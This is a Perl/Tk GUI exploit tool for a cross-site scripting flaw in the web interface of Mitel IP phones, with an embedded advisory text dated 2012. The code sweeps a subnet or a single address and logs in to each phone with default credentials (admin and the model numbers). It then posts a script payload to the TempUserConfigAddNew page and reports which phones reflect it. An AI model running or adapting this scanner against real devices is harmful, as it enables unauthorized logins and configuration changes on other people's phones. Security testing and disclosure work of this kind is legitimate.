# perl
# --------------------------------------------------------
# LICENCE
# This software is under GNU GENERAL PUBLIC LICENSE
# The detail could be found in the file LICENCE include
# in the same directory than isme.pl
# --------------------------------------------------------


use Tk; # http://search.cpan.org/~srezic/Tk/pod/UserGuide.pod
use Tk::Radiobutton;
use Tk::PNG;
use Tk::Photo;
use Tk::JPEG;
use Tk::NoteBook;
use Tk::ProgressBar;
use LWP::UserAgent;
use HTTP::Request;
use Net::Ping; # http://search.cpan.org/~smpeters/Net-Ping-2.36/lib/Net/Ping.pm
use Net::Netmask; # http://search.cpan.org/dist/Net-Netmask/
use Net::Subnets;

# Declaring functions for network analyzing stuff. Thus no argument passing for function. Its all full available variable.
$p=Net::Ping->new("icmp");

# Variable
my $ScanType = "single";
my $IpAddress = "";
my $IpAddress_single = "";
my $IpAddress_sub = "";
my $SubnetToScan = "";
my $Results = "";
my @TypeTable = ("5212","5215","5220","5312","5320","5324","5330", "5340");
my $CallerID_g = "";
my $UserID_g = "";
my $UserPassword_g = "";
my $ProxyServer_g = "";
my $RegistrarServer_g = "";

my @colors = (  0, '#ff002a',  1, '#ff0014',  2, '#ff000a',  3, '#ff0500',  4, '#ff1000',
	     5, '#ff1b00',  6, '#ff3000',  7, '#ff3b00',  8, '#ff4600',  9, '#ff5100',
	    10, '#ff6100', 11, '#ff7600', 12, '#ff8100', 13, '#ff8c00', 14, '#ff9700',
	    15, '#ffa100', 16, '#ffbc00', 17, '#ffc700', 18, '#ffd200', 19, '#ffdd00',
	    20, '#ffe700', 21, '#fffd00', 22, '#f0ff00', 23, '#e5ff00', 24, '#dbff00',
	    25, '#d0ff00', 26, '#baff00', 27, '#afff00', 28, '#9fff00', 29, '#95ff00',
	    30, '#8aff00', 31, '#74ff00', 32, '#6aff00', 33, '#5fff00', 34, '#54ff00',
	    35, '#44ff00', 36, '#2eff00', 37, '#24ff00', 38, '#19ff00', 39, '#0eff00',
	    40, '#03ff00', 41, '#00ff17', 42, '#00ff21', 43, '#00ff2c', 44, '#00ff37',
	    45, '#00ff42', 46, '#00ff57', 47, '#00ff67', 48, '#00ff72', 49, '#00ff7d',
	    50, '#00ff87', 51, '#00ff9d', 52, '#00ffa8', 53, '#00ffb8', 54, '#00ffc3',
	    55, '#00ffcd', 56, '#00ffe3', 57, '#00ffee', 58, '#00fff8', 59, '#00faff',
	    60, '#00eaff', 61, '#00d4ff', 62, '#00c9ff', 63, '#00bfff', 64, '#00b4ff',
	    65, '#00a9ff', 66, '#008eff', 67, '#0083ff', 68, '#0079ff', 69, '#006eff',
	    70, '#0063ff', 71, '#004eff', 72, '#003eff', 73, '#0033ff', 74, '#0028ff',
	    75, '#001dff', 76, '#0008ff', 77, '#0200ff', 78, '#1200ff', 79, '#1d00ff',
	    80, '#2800ff', 81, '#3d00ff', 82, '#4800ff', 83, '#5300ff', 84, '#5d00ff',
	    85, '#6e00ff', 86, '#8300ff', 87, '#8e00ff', 88, '#9900ff', 89, '#a300ff',
	    90, '#ae00ff', 91, '#c900ff', 92, '#d400ff', 93, '#df00ff', 94, '#e900ff',
	    95, '#f400ff', 96, '#ff00f3', 97, '#ff00e3', 98, '#ff00d9', 99, '#ff00ce' );

	
my $subweb_mw = MainWindow->new(
						-title => 'MITEL IP Phone Web Interface XSS Vulnerability');

my $menu_bar = $subweb_mw->Frame(
				-relief => 'groove',
				-borderwidth => 3,
				-width => 40,
				)-> pack(
					-side=>'top',
					-fill => 'x'
					);
my $file_mb = $menu_bar->Menubutton(
				-text => 'File',
				)->pack(-side=>'left');
$file_mb->command(
			-label=>"Vulnerability details",
			-command => sub {&EXPLANATION}
			);		
$file_mb->command(
		-label=>'Launch exploit',
		-command => 
			sub {&LAUNCH}
		);

$file_mb->command(
			-label=>"Save scan results",
			-command => sub {&SAVERESULTS}
			);
			
$file_mb->command(
	-label=>'Exit',
	-command => [$subweb_mw => 'destroy']
	);
		#------------- Button menu --------------
my $FrameButton = $subweb_mw -> Frame ();

my $ImageDetail = $FrameButton->Photo( 
									-format => 'jpeg',
									-file => "./Image/IMG_oeil.jpg",
									 );									 
my $ImageLaunch = $FrameButton->Photo( 
									-format => 'jpeg',
									-file => "./Image/IMG_launch.jpg",
									 );									 
my $ImageSave = $FrameButton->Photo( 
									-format => 'jpeg',
									-file => "./Image/IMG_save.jpg",
									 );		
my $ImageExit = $FrameButton->Photo( 
									-format => 'jpeg',
									-file => "./Image/IMG_exit.jpg",
									 );	
									 									 									 
my $ButtonDetail = $FrameButton->Button (
    								-image => $ImageDetail, 
								    -command => sub {&EXPLANATION}
									)->pack(-side => 'left');
my $ButtonLaunch = $FrameButton->Button (
    								-image => $ImageLaunch, 
								    -command => sub {&LAUNCH}
									)->pack(-side => 'left');
my $ButtonSave = $FrameButton->Button (
    								-image => $ImageSave, 
								    -command => sub {&SAVERESULTS}
									)->pack(-side => 'left');
my $ButtonExit = $FrameButton->Button (
    								-image => $ImageExit, 
								    -command => [$subweb_mw => 'destroy']
									)->pack(-side => 'right');									
																		
$FrameButton -> pack (-side => 'top', -anchor => 'w'); 	

#---------- LABEL FRAME CONFIGURE -------------------------------------
my $labeled_frame = $subweb_mw ->LabFrame(
										-label => "Configure",
                                   		-labelside => "acrosstop"
                                   		)->pack(-side => 'top', -anchor => 'w');

#----------
my $FrameTOP = $labeled_frame -> Frame ();
my $rdb_scan = $FrameTOP  -> Radiobutton(-text=>"IP Subnet to scan with default login/password",
												-value=>"scan",
												-variable=>\$ScanType);
$rdb_scan -> pack (-side => 'left');
$FrameTOP -> pack (-side => 'top', -anchor => 'w');
#----------	
my $FrameMIDDLE1 = $labeled_frame -> Frame ();

$FrameMIDDLE1->Label(
	-text => 'Subnet (192.168.1.0/24):           '
	)->pack(-side => 'left');
my $TextLabel = $FrameMIDDLE1 -> Entry(
	-textvariable => \$SubnetToScan,
	- width => 54,
	)->pack(-side => 'left');
$FrameMIDDLE1 -> pack (-side => 'top', -anchor => 'w');

#----------	
my $FrameMIDDLE2 = $labeled_frame -> Frame ();
my $rdb_single = $FrameMIDDLE2 -> Radiobutton(-text=>"Single IP Phone to scan with default login/password",  
												-value=>"single",  
												-variable=>\$ScanType);
$rdb_single -> pack (-side => 'left');
$FrameMIDDLE2 -> pack (-side => 'top', -anchor => 'w');
#----------	
my $FrameMIDDLE3 = $labeled_frame -> Frame ();
$FrameMIDDLE3->Label(
	-text => 'IP Phone address (192.168.1.1):'
	)->pack(-side => 'left');
my $TextLabel_single = $FrameMIDDLE3 -> Entry(
	-textvariable => \$IpAddress_single,
	- width => 54,
	)->pack(-side => 'left');
$FrameMIDDLE3 -> pack (-side => 'top', -anchor => 'w');

#----------	
my $FrameMIDDLE7 = $labeled_frame -> Frame ();
my $rdb_single = $FrameMIDDLE7 -> Radiobutton(-text=>"Single IP Phone to scan with specific login/password",  
												-value=>"specific",  
												-variable=>\$ScanType);
$rdb_single -> pack (-side => 'left');
$FrameMIDDLE7 -> pack (-side => 'top', -anchor => 'w');
#----------	
my $FrameMIDDLE8 = $labeled_frame -> Frame ();
$FrameMIDDLE8->Label(
	-text => 'IP Phone address (192.168.1.1):'
	)->pack(-side => 'left');
my $TextLabel_single = $FrameMIDDLE8 -> Entry(
	-textvariable => \$IpAddress_spec,
	- width => 54,
	)->pack(-side => 'left');
$FrameMIDDLE8 -> pack (-side => 'top', -anchor => 'w');
#----------	
my $FrameMIDDLE9 = $labeled_frame-> Frame ();
$FrameMIDDLE9->Label(
	-text => 'IP Phone login:                          '
	)->pack(-side => 'left');
my $TextLabel_single = $FrameMIDDLE9 -> Entry(
	-textvariable => \$login_spec,
	- width => 54,
	)->pack(-side => 'left');
$FrameMIDDLE9 -> pack (-side => 'top', -anchor => 'w');
#----------	
my $FrameMIDDLE10 = $labeled_frame -> Frame ();
$FrameMIDDLE10->Label(
	-text => 'IP Phone password:                  '
	)->pack(-side => 'left');
my $TextLabel_single = $FrameMIDDLE10 -> Entry(
	-textvariable => \$password_spec,
	- width => 54,
	)->pack(-side => 'left');
$FrameMIDDLE10 -> pack (-side => 'top', -anchor => 'w');

#-------------PROGRESS BAR ----------------------------

$bar1 = $subweb_mw->ProgressBar( -borderwidth=>2, -blocks=>100, -gap=>0,
			  -troughcolor=>'white',-colors=>\@colors,
			  -length=>106 )->pack( -padx=>5, -pady=>5, -fill=>'x' );
#$bar1->value( 100 - $val );

#------------- TAB BOOK -------------------------------

my $FrameTab= $subweb_mw -> Frame (-width => 40, -height => 20);
my $book = $FrameTab->NoteBook()->pack( -fill=>'both', -expand=>1 );

$tab1 = $book->add( "Sheet 1", -label=>"Details");
$tab2 = $book->add( "Sheet 2", -label=>"Positive results" );
$tab3 = $book->add( "Sheet 3", -label=>"All logs");
$book->raise("Sheet 1");

my $TextWidget_tab1 = $tab1->Text(); 
$TextWidget_tab1 ->configure(-height => 28);
my $scrollbar_tab1 = $tab1 ->Scrollbar(-command => ['yview', $TextWidget_tab1 ]);
$TextWidget_tab1 ->configure(-yscrollcommand => ['set', $scrollbar_tab1]);

my $TextWidget_tab2 = $tab2->Text(); 
$TextWidget_tab2 ->configure(-height => 28);
my $scrollbar_tab2 = $tab2 ->Scrollbar(-command => ['yview', $TextWidget_tab2 ]);
$TextWidget_tab2 ->configure(-yscrollcommand => ['set', $scrollbar_tab2]);

my $TextWidget_tab3 = $tab3->Text(); 
$TextWidget_tab3 ->configure(-height => 28);
my $scrollbar_tab3 = $tab3 ->Scrollbar(-command => ['yview', $TextWidget_tab3 ]);
$TextWidget_tab3 ->configure(-yscrollcommand => ['set', $scrollbar_tab3]);


$TextWidget_tab1 ->pack(-side => 'left', -fill => 'both', -expand => 1);
$TextWidget_tab2 ->pack(-side => 'left', -fill => 'both', -expand => 1);
$TextWidget_tab3 ->pack(-side => 'left', -fill => 'both', -expand => 1);

$scrollbar_tab1->pack(-side => 'right', -fill => 'y');
$scrollbar_tab2->pack(-side => 'right', -fill => 'y');
$scrollbar_tab3->pack(-side => 'right', -fill => 'y');

$FrameTab -> pack (-side => 'top', -anchor => 'w');

#-------------


#------------ LAUNCHING THE MAIN LOOP --------
&EXPLANATION;
MainLoop;
#------------ END OF THE GUI INTERFACE DEFINITION STUFF -------------------------------------

sub LAUNCH
{
	# variable initialization
	$Results = "";
	$TextWidget_tab3 -> delete('0.0', 'end');
	$TextWidget_tab2 -> delete('0.0', 'end');
	$bar1->value(0);
	$book->raise("Sheet 3");

	if ($ScanType =~ /single/)
	{
		&SINGLE;	
	}
	elsif ($ScanType =~ /scan/)
	{
		&EXPLOITSUBNET;
	}
	elsif ($ScanType =~ /specific/)
	{
		&SPECIFIC;
	}
}

sub EXPLOITSUBNET
{
	# Subnet testing

	if ($SubnetToScan =~ /[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}\/[0-9]{1,2}/)
	{		
		$IpAddress_sub = $SubnetToScan;	

		&TESTXSSDEFAULT;
	}
	else
	{
		$subweb_mw->Dialog(-title => 'WARNING', 	
						-text => 'Bad IP Subnet syntax !',
					)->Show( );
   	}
}


sub SINGLE
{
	# Subnet testing
	
	if ($IpAddress_single =~ /[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/)
	{
		$IpAddress_sub=$IpAddress_single."/32";
		
		&TESTXSSDEFAULT;
	}
	else
	{
		$subweb_mw->Dialog(-title => 'WARNING', 	
						-text => 'Bad IP Subnet syntax !',
					)->Show( );
   	}
}


sub SPECIFIC
{
	# Subnet testing

	if ($IpAddress_spec =~ /[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/)
	{
		$IpAddress_sub=$IpAddress_spec."/32";
		
		&TESTXSSSPECIFIC;
	}
	else
	{
		$subweb_mw->Dialog(-title => 'WARNING', 	
						-text => 'Bad IP Subnet syntax !',
					)->Show( );
   	}
}

sub SAVERESULTS
{
	my $FileToSave = $subweb_mw->getSaveFile(
							-defaultextension => '.txt',
                            -initialdir => "user_data"
                              );

	open (TOSAVE, ">>$FileToSave");
	print TOSAVE $Results;
	close (TOSAVE);
	
}	


sub TESTXSSDEFAULT
{
		#---- Creating a table with all the IP adresses -------
		my $sn = Net::Subnets->new;
	   	my ( $lowipref, $highipref ) = $sn->range( \$IpAddress_sub );
	    my $lowIP = $$lowipref;
		my $highIP = $$highipref;
		my $listref = $sn->list( \( $lowIP, $highIP ) );
		my $counter_global = 0;
		my $counter_temp = 0;
		my $percentage = 0;
				
		foreach my $scan_count ( @{ $listref } ) 
		{
			$counter_global++;	
		}
				
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");			
	    $TextWidget_tab3 -> insert ("end","Launch exploit\n");
		$TextWidget_tab3 -> insert ("end", "Following models are tested: 5212,5215,5220,5312,5320,5324,5330,5340\n");
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");		
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');

		$TextWidget_tab2 -> insert ("end", "-------------------------------------------------------------------------------\n");			
	    $TextWidget_tab2 -> insert ("end","Launch exploit\n");
		$TextWidget_tab2 -> insert ("end", "Following models are tested: 5212,5215,5220,5312,5320,5324,5330,5340\n");
		$TextWidget_tab2 -> insert ("end", "-------------------------------------------------------------------------------\n");		
		$TextWidget_tab2  -> update ();	
		$TextWidget_tab2  -> see ('end');
		
		$Results = $Results."-------------------------------------------------------------------------------\n";	
		$Results = $Results."Launch exploit\n";	
		$Results = $Results."Following models are tested: 5212,5215,5220,5312,5320,5324,5330,5340\n";
		$Results = $Results."-------------------------------------------------------------------------------\n";	

						
		foreach my $scan_address ( @{ $listref } ) 
		{
			# Initialization.
			$IpAddress = $scan_address;		
			$counter_temp++;
			
			if ($p->ping($IpAddress)) 
			{	
				my $agent = LWP::UserAgent->new(env_proxy => 1,keep_alive => 1, timeout => 30);
				
				my $url_MITELPhone = "http://$IpAddress/TempUserConfigAddNew";
				

				my $request1 = HTTP::Request->new(POST => $url_MITELPhone);
				$request1->content_type('application/x-www-form-urlencoded');
				$request1->content("userId=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&userDisName=1000");			
				$request1->authorization_basic('admin', '5212');	
				my $answer1=$agent->request($request1);
				my $content1 = $answer1->content();

				my $request2 = HTTP::Request->new(POST => $url_MITELPhone);
				$request2->content_type('application/x-www-form-urlencoded');
				$request2->content("userId=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&userDisName=1000");			
				$request2->authorization_basic('admin', '5215');	
				my $answer2=$agent->request($request2);
				my $content2 = $answer2->content();

				my $request3 = HTTP::Request->new(POST => $url_MITELPhone);
				$request3->content_type('application/x-www-form-urlencoded');
				$request3->content("userId=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&userDisName=1000");			
				$request3->authorization_basic('admin', '5220');	
				my $answer3=$agent->request($request3);
				my $content3 = $answer3->content();

				my $request4 = HTTP::Request->new(POST => $url_MITELPhone);
				$request4->content_type('application/x-www-form-urlencoded');
				$request4->content("userId=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&userDisName=1000");			
				$request4->authorization_basic('admin', '5312');	
				my $answer4=$agent->request($request4);
				my $content4 = $answer4->content();

				my $request5 = HTTP::Request->new(POST => $url_MITELPhone);
				$request5->content_type('application/x-www-form-urlencoded');
				$request5->content("userId=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&userDisName=1000");			
				$request5->authorization_basic('admin', '5320');	
				my $answer5=$agent->request($request5);
				my $content5 = $answer5->content();

				my $request6 = HTTP::Request->new(POST => $url_MITELPhone);
				$request6->content_type('application/x-www-form-urlencoded');
				$request6->content("userId=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&userDisName=1000");			
				$request6->authorization_basic('admin', '5324');	
				my $answer6=$agent->request($request6);
				my $content6 = $answer6->content();			
				
				my $request7 = HTTP::Request->new(POST => $url_MITELPhone);
				$request7->content_type('application/x-www-form-urlencoded');
				$request7->content("userId=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&userDisName=1000");			
				$request7->authorization_basic('admin', '5330');	
				my $answer7=$agent->request($request7);
				my $content7 = $answer7->content();	

				my $request8 = HTTP::Request->new(POST => $url_MITELPhone);
				$request8->content_type('application/x-www-form-urlencoded');
				$request8->content("userId=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&userDisName=1000");			
				$request8->authorization_basic('admin', '5340');	
				my $answer8=$agent->request($request8);
				my $content8 = $answer8->content();	

				#<script>alert("XSS")</script>
				if ($content1 =~ /<script>alert/)
				{
				   	$TextWidget_tab3 -> insert ("end","$IpAddress: WARNING, positive to XSS.\n");
					$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");

				   	$TextWidget_tab2 -> insert ("end","$IpAddress: WARNING, positive to XSS.\n");
					$TextWidget_tab2 -> insert ("end", "-------------------------------------------------------------------------------\n");

					$Results = $Results."$IpAddress: WARNING, positive to XSS.\n";
					$Results = $Results."-------------------------------------------------------------------------------\n";	
				}	
				#<script>alert("XSS")</script>
				elsif ($content2 =~ /<script>alert/)
				{
				   	$TextWidget_tab3 -> insert ("end","$IpAddress: WARNING, positive to XSS.\n");
					$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");

				   	$TextWidget_tab2 -> insert ("end","$IpAddress: WARNING, positive to XSS.\n");
					$TextWidget_tab2 -> insert ("end", "-------------------------------------------------------------------------------\n");

					$Results = $Results."$IpAddress: WARNING, positive to XSS.\n";
					$Results = $Results."-------------------------------------------------------------------------------\n";	
				}	
				#<script>alert("XSS")</script>
				elsif ($content3 =~ /<script>alert/)
				{
				   	$TextWidget_tab3 -> insert ("end","$IpAddress: WARNING, positive to XSS.\n");
					$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");

				   	$TextWidget_tab2 -> insert ("end","$IpAddress: WARNING, positive to XSS.\n");
					$TextWidget_tab2 -> insert ("end", "-------------------------------------------------------------------------------\n");

					$Results = $Results."$IpAddress: WARNING, positive to XSS.\n";
					$Results = $Results."-------------------------------------------------------------------------------\n";	
				}	
				#<script>alert("XSS")</script>
				elsif ($content4 =~ /<script>alert/)
				{
				   	$TextWidget_tab3 -> insert ("end","$IpAddress: WARNING, positive to XSS.\n");
					$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");

				   	$TextWidget_tab2 -> insert ("end","$IpAddress: WARNING, positive to XSS.\n");
					$TextWidget_tab2 -> insert ("end", "-------------------------------------------------------------------------------\n");

					$Results = $Results."$IpAddress: WARNING, positive to XSS.\n";
					$Results = $Results."-------------------------------------------------------------------------------\n";	
				}	
				#<script>alert("XSS")</script>
				elsif ($content5 =~ /<script>alert/)
				{
				   	$TextWidget_tab3 -> insert ("end","$IpAddress: WARNING, positive to XSS.\n");
					$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");

				   	$TextWidget_tab2 -> insert ("end","$IpAddress: WARNING, positive to XSS.\n");
					$TextWidget_tab2 -> insert ("end", "-------------------------------------------------------------------------------\n");

					$Results = $Results."$IpAddress: WARNING, positive to XSS.\n";
					$Results = $Results."-------------------------------------------------------------------------------\n";	
				}	
				#<script>alert("XSS")</script>
				elsif ($content6 =~ /<script>alert/)
				{
				   	$TextWidget_tab3 -> insert ("end","$IpAddress: WARNING, positive to XSS.\n");
					$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");

				   	$TextWidget_tab2 -> insert ("end","$IpAddress: WARNING, positive to XSS.\n");
					$TextWidget_tab2 -> insert ("end", "-------------------------------------------------------------------------------\n");

					$Results = $Results."$IpAddress: WARNING, positive to XSS.\n";
					$Results = $Results."-------------------------------------------------------------------------------\n";	
				}	
				#<script>alert("XSS")</script>
				elsif ($content7 =~ /<script>alert/)
				{
				   	$TextWidget_tab3 -> insert ("end","$IpAddress: WARNING, positive to XSS.\n");
					$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");

				   	$TextWidget_tab2 -> insert ("end","$IpAddress: WARNING, positive to XSS.\n");
					$TextWidget_tab2 -> insert ("end", "-------------------------------------------------------------------------------\n");

					$Results = $Results."$IpAddress: WARNING, positive to XSS.\n";
					$Results = $Results."-------------------------------------------------------------------------------\n";	
				}	
				#<script>alert("XSS")</script>
				elsif ($content8 =~ /<script>alert/)
				{
				   	$TextWidget_tab3 -> insert ("end","$IpAddress: WARNING, positive to XSS.\n");
					$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");

				   	$TextWidget_tab2 -> insert ("end","$IpAddress: WARNING, positive to XSS.\n");
					$TextWidget_tab2 -> insert ("end", "-------------------------------------------------------------------------------\n");

					$Results = $Results."$IpAddress: WARNING, positive to XSS.\n";
					$Results = $Results."-------------------------------------------------------------------------------\n";	
				}	
				else
				{
				    $TextWidget_tab3 -> insert ("end","Mitel phone IP address:$IpAddress\n");
				    $TextWidget_tab3 -> insert ("end","Unable to get web page or no XSS vulnerability.\n");
					$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");
					$TextWidget_tab3  -> update ();	
					$TextWidget_tab3  -> see ('end');
					$Results = $Results."Mitel phone IP address:$IpAddress\n";	
					$Results = $Results."Unable to get web page or no XSS vulnerability.\n";
					$Results = $Results."-------------------------------------------------------------------------------\n";	
				}			
	    	}
	    	else
	    	{
				$TextWidget_tab3 -> insert ("end", "Unable to ping Phone Ip address: $IpAddress\n");
				$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");
				$TextWidget_tab3  -> update ();	
				$TextWidget_tab3  -> see ('end');	    	
				$Results = $Results."Unable to ping Phone Ip address: $IpAddress\n";	    	
				$Results = $Results."-------------------------------------------------------------------------------\n";	    	

	    	}

	    	$percentage = int (($counter_temp/$counter_global)*100);
	    	$bar1->value($percentage);
	    	
	    }
	    $TextWidget_tab3 -> insert ("end","END\n");
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");	
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');

		$TextWidget_tab2 -> insert ("end", "END\n");			
		$TextWidget_tab2 -> insert ("end", "-------------------------------------------------------------------------------\n");		
		$TextWidget_tab2  -> update ();	
		$TextWidget_tab2  -> see ('end');
		
		$Results = $Results."END\n";
		$Results = $Results."-------------------------------------------------------------------------------\n";
}

sub TESTXSSSPECIFIC
{
		#---- Creating a table with all the IP adresses -------
		my $sn = Net::Subnets->new;
	   	my ( $lowipref, $highipref ) = $sn->range( \$IpAddress_sub );
	    my $lowIP = $$lowipref;
		my $highIP = $$highipref;
		my $listref = $sn->list( \( $lowIP, $highIP ) );
		
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");			
	    $TextWidget_tab3 -> insert ("end","Launch exploit\n");
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");		
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');

		$TextWidget_tab2 -> insert ("end", "-------------------------------------------------------------------------------\n");			
	    $TextWidget_tab2 -> insert ("end","Launch exploit\n");
		$TextWidget_tab2 -> insert ("end", "-------------------------------------------------------------------------------\n");		
		$TextWidget_tab2  -> update ();	
		$TextWidget_tab2  -> see ('end');
		
		$Results = $Results."-------------------------------------------------------------------------------\n";	
		$Results = $Results."Launch exploit\n";	
		$Results = $Results."-------------------------------------------------------------------------------\n";
						
		foreach my $scan_address ( @{ $listref } ) 
		{
			# Initialization.
			$IpAddress = $scan_address;		

			if ($p->ping($IpAddress)) 
			{	
				my $agent = LWP::UserAgent->new(env_proxy => 1,keep_alive => 1, timeout => 30);
				
				my $url_MITELPhone = "http://$IpAddress/TempUserConfigAddNew";
				

				my $request1 = HTTP::Request->new(POST => $url_MITELPhone);
				$request1->content_type('application/x-www-form-urlencoded');
				$request1->content("userId=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&userDisName=1000");			
				$request1->authorization_basic($login_spec, $password_spec);
				
				my $answer1=$agent->request($request1);
				my $content1 = $answer1->content();

				#<script>alert("XSS")</script>
				
				if ($content1 =~ /<script>alert/)
				{
				
				   	$TextWidget_tab3 -> insert ("end","$IpAddress: WARNING, positive to XSS.\n");
					$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");

				   	$TextWidget_tab2 -> insert ("end","$IpAddress: WARNING, positive to XSS.\n");
					$TextWidget_tab2 -> insert ("end", "-------------------------------------------------------------------------------\n");
					
					$Results = $Results."$IpAddress: WARNING, positive to XSS.\n";
					$Results = $Results."-------------------------------------------------------------------------------\n";	
				}	
				else
				{
				    $TextWidget_tab3 -> insert ("end","Mitel phone IP address:$IpAddress\n");
				    $TextWidget_tab3 -> insert ("end","Unable to get web page or no XSS vulnerability.\n");
					$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");
					$TextWidget_tab3  -> update ();	
					$TextWidget_tab3  -> see ('end');
					$Results = $Results."Mitel phone IP address:$IpAddress\n";	
					$Results = $Results."Unable to get web page or no XSS vulnerability.\n";
					$Results = $Results."-------------------------------------------------------------------------------\n";	
				}			
	    	}
	    	else
	    	{
				$TextWidget_tab3 -> insert ("end", "Unable to ping Phone Ip address: $IpAddress\n");
				$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");
				$TextWidget_tab3  -> update ();	
				$TextWidget_tab3  -> see ('end');	    	
				$Results = $Results."Unable to ping Phone Ip address: $IpAddress\n";	    	
				$Results = $Results."-------------------------------------------------------------------------------\n";	    	

	    	}
	    }
	    $TextWidget_tab3 -> insert ("end","END\n");
		$TextWidget_tab3 -> insert ("end", "-------------------------------------------------------------------------------\n");	
		$TextWidget_tab3  -> update ();	
		$TextWidget_tab3  -> see ('end');

	    $TextWidget_tab2 -> insert ("end","END\n");
		$TextWidget_tab2 -> insert ("end", "-------------------------------------------------------------------------------\n");	
		$TextWidget_tab2  -> update ();	
		$TextWidget_tab2  -> see ('end');
		
		$Results = $Results."END\n";
		$Results = $Results."-------------------------------------------------------------------------------\n";
		
	    $bar1->value(100);
}


sub EXPLANATION
{
	$TextWidget_tab1 -> delete('0.0', 'end');
	$TextWidget_tab1 -> insert ("end", "-------------------------------------------------------------------------------\n");
	$TextWidget_tab1 -> insert ("end", "Vulnerability: MITEL IP Phone Web Interface XSS Vulnerability\n");
	$TextWidget_tab1 -> insert ("end", "CVE: Under declaration\n");	
	$TextWidget_tab1 -> insert ("end", "Date: 23/11/2012\n");
	$TextWidget_tab1 -> insert ("end", "Author: Cedric Baillet\n");
	$TextWidget_tab1 -> insert ("end", "Tested on Version: 5330, 5340\n");
	$TextWidget_tab1 -> insert ("end", "Patch: unknown\n\n");
	$TextWidget_tab1 -> insert ("end", "DETAILS:\n");
	$TextWidget_tab1 -> insert ("end", "Cross Site Scripting vulnerability has been found in « TempUserConfigAddNew » \n");
	$TextWidget_tab1 -> insert ("end", "(URL : http://@IP/TempUserConfigAddNew) and allow remote user to inject \n");
	$TextWidget_tab1 -> insert ("end", "arbitrary code.\n");
	$TextWidget_tab1 -> insert ("end", "Access Vector:  Network exploitable.\n");
	$TextWidget_tab1 -> insert ("end", "Authentication: Required to exploit\n");
	$TextWidget_tab1 -> insert ("end", "Impact Type: Allows unauthorized modification\n\n");
	$TextWidget_tab1 -> insert ("end", "WORKAROUND\n");
	$TextWidget_tab1 -> insert ("end", "None\n");
	$TextWidget_tab1 -> insert ("end", "-------------------------------------------------------------------------------\n");
	$TextWidget_tab1  -> update ();	
	$TextWidget_tab1  -> see ('end'); 
	
	$book->raise("Sheet 1");			
}
